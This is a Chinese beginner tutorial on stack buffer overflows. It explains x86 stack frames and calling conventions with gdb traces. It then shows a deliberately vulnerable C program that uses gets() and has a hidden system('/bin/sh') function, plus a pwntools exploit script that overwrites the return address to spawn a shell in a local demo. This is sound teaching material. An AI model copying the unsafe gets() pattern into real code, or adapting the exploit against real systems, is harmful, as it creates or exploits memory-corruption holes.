1.1-菜鸟学PWN之栈溢出学习

实现栈溢出的两个条件:

  • 程序有向栈写入数据的行为
  • 程序并不限制写入数据的长度

如果想用栈溢出来执行攻击指令, 就要在溢出数据内包含攻击指令的内容或地址, 并且要将程序控制权交给该指令. 攻击指令可以是自定义的指令, 也可以利用系统内已有的函数及指令.

0x10 背景知识

0x11 栈介绍

栈是一种典型的先进后出(First in Last Out)的数据结构, 其操作主要有压栈(push)与出栈(pop)两种操作. 两种操作都是操作栈顶, 当然也有栈底(位于高地址).

基本栈操作
基本栈操作

每个程序在运行时都有虚拟地址空间, 其中某一部分就是该程序对应的栈. 编译器使用堆栈传递函数参数、保存返回地址、临时保存寄存器原有值(即函数调用的上下文)以备恢复以及存储本地局部变量. 程序的栈都是从进程地址空间的高地址向低地址增长.


0x12 栈帧结构

函数调用经常是嵌套的, 在同一时刻, 堆栈中会有多个函数的信息. 每个未完成运行的函数占用一个独立的连续区域, 称作栈帧(Stack Frame). 当函数被调用时, 栈帧被压入堆栈; 当函数返回时, 栈帧从堆栈中弹出. 栈帧存放函数的参数、函数返回地址、调用者(caller)的一些寄存器状态、函数的局部变量等.

栈帧的边界由栈帧基地址指针EBP和栈帧堆栈指针ESP界定(指正存放在相应寄存器中). EBP指向栈帧底部(高地址), 在当前栈帧内位置固定; ESP指向栈帧顶部(低地址), 当程序执行时ESP会随着数据的入栈和出栈而移动(如: 压入局部变量). 因此函数中对数据的访问大部分是基于EBP(对EBP取相对地址). 函数调用栈典型内存分布如下图:

img
img

注意: 当函数被调用时, EBP的地址是当前栈帧的基地址, 但EBP指向的是上一栈帧基地址的地址.

(1) 入栈出栈指令

函数序(入栈)实现如下:

指令序列 含义
push %ebp 将主调函数的帧基指针%ebp压栈,即保存旧栈帧中的帧基指针以便函数返回时恢复旧栈帧
mov %esp, %ebp 将主调函数的栈顶指针%esp赋给被调函数帧基指针%ebp。此时,%ebp指向被调函数新栈帧的起始地址(栈底),亦即旧%ebp入栈后的栈顶
sub , %esp 将栈顶指针%esp减去指定字节数(栈顶下移),即为被调函数局部变量开辟栈空间。为立即数且通常为16的整数倍(可能大于局部变量字节总数而稍显浪费,但gcc采用该规则保证数据的严格对齐以有效运用各种优化编译技术)
push 可选。如有必要,被调函数负责保存某些寄存器(%edi/%esi/%ebx)值
.................................

函数跋(出栈)实现如下:

指令序列 含义
pop 可选。如有必要,被调函数负责恢复某些寄存器(%edi/%esi/%ebx)值
mov %ebp, %esp* 恢复主调函数的栈顶指针%esp,将其指向被调函数栈底。此时,局部变量占用的栈空间被释放,但变量内容未被清除(跳过该处理)
pop %ebp* 主调函数的帧基指针%ebp出栈,即恢复主调函数栈底。此时,栈顶指针%esp指向主调函数栈顶(espßesp-4),亦即返回地址存放处
ret 从栈顶弹出主调函数压在栈中的返回地址到指令指针寄存器%eip中,跳回主调函数该位置处继续执行。再由主调函数恢复到调用前的栈
................................. *:这两条指令序列也可由leave指令实现,具体用哪种方式由编译器决定。

(2) 参数压栈指令

参数压栈指令因编译器而异,如下两种压栈方式基本等效:

1
2
extern CdeclDemo(int w, int x, int y, intz);  //调用CdeclDemo函数
CdeclDemo(1, 2, 3, 4); //调用CdeclDemo函数
压栈方式一 压栈方式二
pushl 4 //压入参数z subl $16, %esp //多次调用仅执行一遍
pushl 3 //压入参数y movl $4, 12(%esp) //传送参数z至堆栈第四个位置
pushl 2 //压入参数x movl $3, 8(%esp) //传送参数y至堆栈第三个位置
pushl 1 //压入参数w movl $2, 4(%esp) //传送参数x至堆栈第二个位置
call CdeclDemo //调用函数 movl $1, (%esp) //传送参数w至堆栈栈顶
addl $16, %esp //恢复ESP原值,使其指向调用前保存的返回地址 call CdeclDemo //调用函数

​ 两种压栈方式均遵循C调用约定,但方式二中主调函数在调用返回后并未显式清理堆栈空间。因为在被调函数序阶段,编译器在栈顶为函数参数预先分配内存空间(sub指令)。函数参数被复制到栈中(而非压入栈中),并未修改栈顶指针,故调用返回时主调函数也无需修改栈顶指针。


0x13 函数调用栈

函数调用栈是指程序运行时内存一段连续的区域, 用来保存函数运行时的状态信息, 包括函数参数与局部变量等. 称之为"栈"是因为发生函数调用时, 调用函数(caller)的被保存在栈内, 被调用函数(callee)的状态被压入调用栈的栈顶; 在函数调用结束时, 栈顶的函数(callee)状态被弹出, 栈顶恢复到调用函数(caller)的状态. 函数调用栈在内存中从高地址向低地址生长, 所以栈顶对应的内存在压栈时变小, 出栈时变大.

函数调用发生和结束的调用栈帧如下图:

img
img

函数状态主要涉及三个寄存器--esp, ebp, eip: - esp 用来存储函数调用栈(caller)的栈顶指针, 在压栈(入栈)和退栈(出栈)时发生变化. - ebp 用来存储当前函数状态的基地址, 在函数运行时不变, 可以用来索引确定函数参数或局部变量的位置. - eip 用来存储即将执行的程序指令的地址, cpu依照eip的存储内容读取指令并执行, eip随之指向相邻的下一条指令. EIP可被jmp、call和ret等指令隐含地改变(事实上它一直都在改变)。

分析demo源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*************************************************************************
> File Name: debugfunc.c
> Author: killshadow
> Mail: chaceli@foxmail.com
> Created Time: 2018年09月02日 星期日 09时26分02秒
************************************************************************/

#include<stdio.h>

int calc(int a, int b){
int c;
int d = 2;
c = a*d +b;
return c;
}

int main(){
int a = 5;
int b;
int c;
printf("Please input a number:\n");
scanf("%d",&b);
c = calc(a,b);
printf("Result: %d\n",c);
return 0;
}

然后在命令行中:

1
gcc -m32 debugfunc.c -o debugfunc32 # -m32表示编译成32位的程序

(1) 函数调用压栈顺序

  1. 调用者压入需要保存的寄存器(通常这些寄存器包括 EAX,ECX 和 EDX等)
  2. 按照从右往左的顺序压入参数(这个可能有特殊情况, 详情请看C语言函数调用栈(二))
  3. 返回地址
  4. 调用者的 EBP
  5. 局部变量
  6. 被调用者本身压入需要保存的寄存器, 通常这些寄存器包括 EBX,ESI 和 EDI 等
  1. 被调用函数(callee)的参数按照逆序依次压入栈内. 如果callee没有参数, 则无需此操作. 这些参数仍会保存在调用函数(caller)的函数状态内, 之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存.

    img
    img
    1
    2
    3
    4
    5
    6
    7
    8
    9
       0x8048552 <main+68>        add    esp, 0x10
    0x8048555 <main+71> mov eax, DWORD PTR [ebp-0x18]
    0x8048558 <main+74> sub esp, 0x8
    → 0x804855b <main+77> push eax # $eax : 0x17(即:23,自己输入的数据)
    0x804855c <main+78> push DWORD PTR [ebp-0x14] # ebp为main函数栈基址,-0x14便是int a的栈地址,此处是压入a的值到calc调用栈
    0x804855f <main+81> call 0x80484eb <calc>
    0x8048564 <main+86> add esp, 0x10
    0x8048567 <main+89> mov DWORD PTR [ebp-0x10], eax
    0x804856a <main+92> sub esp, 0x8
    1538817009439
    1538817009439
  2. 然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内. 这样调用函数(caller)的eip(指令)信息得以保存.(这一操作是隐式的, 在执行call命令时就已经push了return的值了)

    img
    img

    在gdb里step intocalc函数, 当执行到push ebp的时候, 能看到前面的两个参数和返回地址已经被push到当前函数(即calc)的栈帧, 如下图:

    1538825556293
    1538825556293
  3. 再将当前的ebp寄存器的值(也就是调用函数[caller]的基地址)压入栈内, 并将ebp寄存器的值更新为当前栈顶(esp)的地址. 这样调用函数(caller)的ebp(基地址)信息得以保存. 同时, ebp被更新为被调用函数(callee)的基地址. 例如下面调用calc函数时, 有mov rbp, rsp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
        0x4006b1 <main+61>        dec    DWORD PTR [rbx+0x458bec55]
    0x4006b7 <main+67> lock mov esi, edx
    0x4006ba <main+70> mov edi, eax
    → 0x4006bc <main+72> call 0x400646 <calc>
    ↳ 0x400646 <calc+0> push rbp
    0x400647 <calc+1> mov rbp, rsp
    0x40064a <calc+4> mov DWORD PTR [rbp-0x14], edi
    0x40064d <calc+7> mov DWORD PTR [rbp-0x18], esi
    0x400650 <calc+10> mov DWORD PTR [rbp-0x8], 0x0
    0x400657 <calc+17> mov DWORD PTR [rbp-0x4], 0x2
    img
    img
    1538826215949
    1538826215949
  4. 再之后将被调用函数(callee)的局部变量等数据压入栈内.

    img
    img
    1
    2
    3
    4
    5
    6
    7
    8
    9
       0x80484ec <calc+1>         mov    ebp, esp
    0x80484ee <calc+3> sub esp, 0x10
    0x80484f1 <calc+6> mov DWORD PTR [ebp-0x8], 0x2 # 给d赋值: d=2
    → 0x80484f8 <calc+13> mov eax, DWORD PTR [ebp+0x8] # 将参数a=5赋给eax
    0x80484fb <calc+16> imul eax, DWORD PTR [ebp-0x8] # 5*2(有符号乘)
    0x80484ff <calc+20> mov edx, eax
    0x8048501 <calc+22> mov eax, DWORD PTR [ebp+0xc]
    0x8048504 <calc+25> add eax, edx # 10 + 23
    0x8048506 <calc+27> mov DWORD PTR [ebp-0x4], eax # 赋值给变量c

(2) 函数调用出栈顺序

  1. 栈顶(ESP)会重新指向被调用函数(callee)的基地址, 因此, 被调用函数的局部变量会从站内直接弹出. 如下: img

    具体汇编代码是:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
       0x8048505 <calc+26>        ror    BYTE PTR [ecx+0x458bfc45], 1
    0x804850b <calc+32> cld
    0x804850c <calc+33> leave
    → 0x804850d <calc+34> ret
    ↳ 0x8048564 <main+86> add esp, 0x10
    0x8048567 <main+89> mov DWORD PTR [ebp-0x10], eax
    0x804856a <main+92> sub esp, 0x8
    0x804856d <main+95> push DWORD PTR [ebp-0x10]
    0x8048570 <main+98> push 0x804863a
    0x8048575 <main+103> call 0x8048390 <printf@plt>

    如上图, 当执行到calc函数的ret返回语句时, 会有下面一系列的语句, 其中第一条add语句就是让esp重新指向calc的基址(ebp)的关键语句, 此时位于低地址的局部变量将丢弃.

  2. 随后将基地址内存储的调用函数(caller)的ebp的值重新pop到当前的ebp中, 至此, 调用函数(caller)的基地址得以恢复. 值得注意的是, 这一操作是隐式的(与函数调用压栈的第2步作对比). 如下图:

    • 执行leave前: 1538829057155

    • 执行leave后: 1538829148474

    • esp存储的地址会指向返回地址(0x08048564):

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      ─────────────────────────────────────────────────────────[ registers ]────
      $eax : 0x21
      $ebx : 0x0
      $ecx : 0x1
      $edx : 0xa
      $esp : 0xffffcf5c → 0x08048564 → <main+86> add esp, 0x10 # 指向ret地址
      $ebp : 0xffffcf88 → 0x00000000
      $esi : 0xf7faf000 → 0x001b1db0
      $edi : 0xf7faf000 → 0x001b1db0
      $eip : 0x804850d → <calc+34> ret
      $eflags: [carry PARITY ADJUST zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
      $gs: 0x0063 $fs: 0x0000 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b

  3. 然后将返回地址从栈内pop出来, 并存到eip内. 从而调用函数(caller)的eip信息得以恢复, 指向下一条指令. 1538830059726

总结一下上面的调用压栈和出栈:

(1)压栈时, 先压参数, 后压返回地址, 然后再将caller的ebp压入, 最后将局部变量压入.

(2)出栈时, 先弹局部变量, 后弹ebp, 然后通过返回地址恢复eip.

通过上述描述, 可知函数调用压栈和出栈是一个互逆过程, 这也间接验证了堆栈平衡的机理.


0x14 寄存器分布

img
img

32位和64位程序的部分区别:

  • x86
    • 函数参数函数返回地址的上方
  • x64
    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
    • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

0x20 栈溢出原理

栈溢出的原理其实很简单: 在程序没有判断输入长度的情况下, 当程序向申请的变量写入的字节长度超过了该变量向内存申请的字节长度, 因而导致该变量相邻的栈的内存的值被覆盖. 简而言之, 还是开篇提及的两个栈溢出条件. 由于操作系统或者程序增加了对栈溢出的保护, 而使得溢出的难度增大, 但其核心思想是不变的. 我们先用根据下图来看看溢出的效果:

  1. 在执行漏洞函数之前, 我们能看到ebp esp的地址很正常, ebp的下一个地址也指向了return address.

    1538897713778
    1538897713778
  2. 接着当我们执行到漏洞函数之时, 输入以下字符串:

    1
    aaaaaaaaaaaaaaaaaaaaaaaaaaaa33330808
  3. 我们再看看此时的堆栈:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ──────────────────────────────────────────────────────────────[ registers ]────
    $eax : 0x25
    $ebx : 0x0
    $ecx : 0xffffffff
    $edx : 0xf7fae870 → 0x00000000
    $esp : 0xffffcf30 → 0xf7fad300 → 0xf7f56447 → "ISO-10646/UCS2/"
    $ebp : 0x33333333 ("3333"?)
    $esi : 0xf7fad000 → 0x001b1db0
    $edi : 0xf7fad000 → 0x001b1db0
    $eip : 0x38303830 ("0808"?)
    $eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
    $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $fs: 0x0000 $ss: 0x002b

    不难看出, 此时的ebp被覆盖为0x33333333 ,eip被覆盖为0x38303830. 至此, 栈溢出完美实现!


0x30 栈溢出实战-小试牛刀

首先, 先写一个有漏洞的脚本程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*************************************************************************
> File Name: stack-overflow-demo.c
> Author: killshadow
> Mail: chaceli@foxmail.com
> Created Time: 2018年10月07日 星期日 13时02分34秒
************************************************************************/

#include<stdio.h>
#include<string.h>

void exec(){
printf("Congratulations! You have already get shell!\n");
system("/bin/sh");
}

void vulnerablefunc(){
char s[20];
gets(s);
puts(s);
}

int main(int argc, char **argv){
vulnerablefunc();
return 0;
}

上面的程序中, exec()可以执行shell命令, 但是没有在主函数执行; vulnerablefunc()执行了一个没有判断输入字符串长度的gets函数, 该函数是一个危险函数(不判断输入字符串的长度), 编译时也能看得出来:

1
2
3
4
5
6
7
8
9
10
11
➜  demo gcc -m32 -fno-stack-protector stack-overflow-demo.c -o stack-overflow-demo
stack-overflow-demo.c: In functionexec’:
stack-overflow-demo.c:13:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/sh");
^
stack-overflow-demo.c: In function ‘vulnerablefunc’:
stack-overflow-demo.c:18:5: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(s);
^
/tmp/ccA0jCUY.o: In function `vulnerablefunc':
stack-overflow-demo.c:(.text+0x37): warning: the `gets' function is dangerous and should not be used.

上面编译有两个warning: 1)第一个warning提示危险的system函数(系统调用); 2)第二个warning就是gets函数了. 该命令中, -fno-stack-protectotor表示不开启堆栈溢出保护(不生成canary). 同时, 还可以关闭地址随机化PIE(Position Independent Executable), 如果gcc -v后能看到--enable-default-pie即为开启了PIE. 我们在编译时, 添加-no-pie参数即可关闭PIE.

此时我们在shell下反汇编objdump -d stack-overflow-demo:(截取部分汇编)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
0804846b <exec>:
804846b: 55 push %ebp
804846c: 89 e5 mov %esp,%ebp
804846e: 83 ec 08 sub $0x8,%esp
8048471: 83 ec 0c sub $0xc,%esp
8048474: 68 60 85 04 08 push $0x8048560
8048479: e8 b2 fe ff ff call 8048330 <puts@plt>
804847e: 83 c4 10 add $0x10,%esp
8048481: 83 ec 0c sub $0xc,%esp
8048484: 68 8d 85 04 08 push $0x804858d
8048489: e8 b2 fe ff ff call 8048340 <system@plt>
804848e: 83 c4 10 add $0x10,%esp
8048491: 90 nop
8048492: c9 leave
8048493: c3 ret

08048494 <vulnerablefunc>:
8048494: 55 push %ebp
8048495: 89 e5 mov %esp,%ebp
8048497: 83 ec 28 sub $0x28,%esp
804849a: 83 ec 0c sub $0xc,%esp
804849d: 8d 45 e4 lea -0x1c(%ebp),%eax # ebp-0x1c即为s的地址
80484a0: 50 push %eax
80484a1: e8 7a fe ff ff call 8048320 <gets@plt> # 这里调用gets函数
80484a6: 83 c4 10 add $0x10,%esp
80484a9: 83 ec 0c sub $0xc,%esp
80484ac: 8d 45 e4 lea -0x1c(%ebp),%eax
80484af: 50 push %eax
80484b0: e8 7b fe ff ff call 8048330 <puts@plt>
80484b5: 83 c4 10 add $0x10,%esp
80484b8: 90 nop
80484b9: c9 leave
80484ba: c3 ret

080484bb <main>:
80484bb: 8d 4c 24 04 lea 0x4(%esp),%ecx
80484bf: 83 e4 f0 and $0xfffffff0,%esp
80484c2: ff 71 fc pushl -0x4(%ecx)
80484c5: 55 push %ebp
80484c6: 89 e5 mov %esp,%ebp
80484c8: 51 push %ecx
80484c9: 83 ec 04 sub $0x4,%esp
80484cc: e8 c3 ff ff ff call 8048494 <vulnerablefunc>
80484d1: b8 00 00 00 00 mov $0x0,%eax
80484d6: 83 c4 04 add $0x4,%esp
80484d9: 59 pop %ecx
80484da: 5d pop %ebp
80484db: 8d 61 fc lea -0x4(%ecx),%esp
80484de: c3 ret
80484df: 90 nop

执行gets函数之前, vulnerablefunc的栈帧为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        High
+---------------------+
| |
| Return Address |
| |
+---------------------+
| |
| Caller's ebp |
| |
+---------------------+ <------+ ebp
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
+---------------------+
| Local Variables |
| (char s[20]) |
+---------------------+ <------+ s, [ebp-0x1c]
Low

gets函数执行后, vulnerablefunc的栈帧为:(输入: aaaaaaaaaaaaaaaaaaaaaaaaaaaa33330808)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        High
+---------------------+
| |
| Return Address |
| (0x38303830) |
+---------------------+
| |
| Caller's ebp |
| (0x33333333) |
+---------------------+ <------+ ebp
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
+---------------------+
| Local Variables |
| (aaaa...) |
+---------------------+ <-------+ s, [ebp-0x1c]
Low

这里的0x1cchar型变量sebp的相对地址, 所以要覆盖ebp, 就需要构造0x1c个字节的payload, 后面四个字节是ebp的地址, 紧接着ebp的后面四个字节的地址便是返回地址. 因此, 如果要覆盖返回地址, 让函数弹出栈帧时弹到自己想要返回到的函数地址, 就需要先找到需要利用的函数的地址, 然后将这个地址加进payload里, 如下所示代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
# coding=utf-8
from pwn import *

# open this elf executable file
sh = process('./stack-overflow-demo')
# objdump -d stack-overflow-demo, you can find "exec" function's address
exec_addr = 0x0804846B

# 0x1c is offset address from ebp, [ebp - 0x1c] is "s" address
# "aaaa" can cover ebp value
# return address had changed exec_addr
payload = "a" * 0x1c + "aaaa" + p32(exec_addr)
# print small end address
print p32(exec_addr)

# send payload into process
sh.sendline(payload)
# get interactive shell
sh.interactive()

执行该脚本之后, 可以获得shell:

1
2
3
4
5
6
7
8
➜  demo python stack-overflow-demo-attack.py
[+] Starting local process './stack-overflow-demo': pid 20109
k\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak\x84\x0
Congratulations! You have already get shell!
$ uname -a
Linux ks 4.15.0-36-generic #39~16.04.1-Ubuntu SMP Tue Sep 25 08:59:23 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

至此, 你的第一个栈溢出攻击的过程就完美实现啦! Keep Moving!!!


0x40 参考链接

部分内容引自如下blog, 如有侵权立即更改本文.

100个gdb小技巧

手把手教你栈溢出从入门到放弃(上)

C语言函数调用栈(一)

C语言函数调用栈(二)

栈介绍-CTF-wiki

文章目录
  1. 1. 0x10 背景知识
    1. 1.1. 0x11 栈介绍
    2. 1.2. 0x12 栈帧结构
      1. 1.2.1. (1) 入栈出栈指令
      2. 1.2.2. (2) 参数压栈指令
    3. 1.3. 0x13 函数调用栈
      1. 1.3.1. (1) 函数调用压栈顺序
      2. 1.3.2. (2) 函数调用出栈顺序
    4. 1.4. 0x14 寄存器分布
  2. 2. 0x20 栈溢出原理
  3. 3. 0x30 栈溢出实战-小试牛刀
  4. 4. 0x40 参考链接
,